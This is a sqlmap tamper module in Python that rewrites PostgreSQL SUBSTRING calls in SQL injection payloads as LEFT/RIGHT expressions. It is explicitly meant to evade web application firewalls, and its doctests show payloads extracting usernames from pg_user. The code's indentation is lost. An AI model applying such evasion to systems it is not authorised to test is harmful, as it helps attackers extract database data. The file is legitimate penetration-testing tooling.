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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces PostgreSQL SUBSTRING with LEFT and RIGHT
Tested against:
* PostgreSQL 9.6.12
Note:
* Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')
'LEFT((SELECT usename FROM pg_user)::text,1)'
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')
'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
"""
retVal = payload
if payload:
match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload)
if match:
pos = int(match.group(2))
if pos == 1:
_ = "LEFT(%s,1)" % (match.group(1))
else:
_ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos)
retVal = retVal.replace(match.group(0), _)
return retVal
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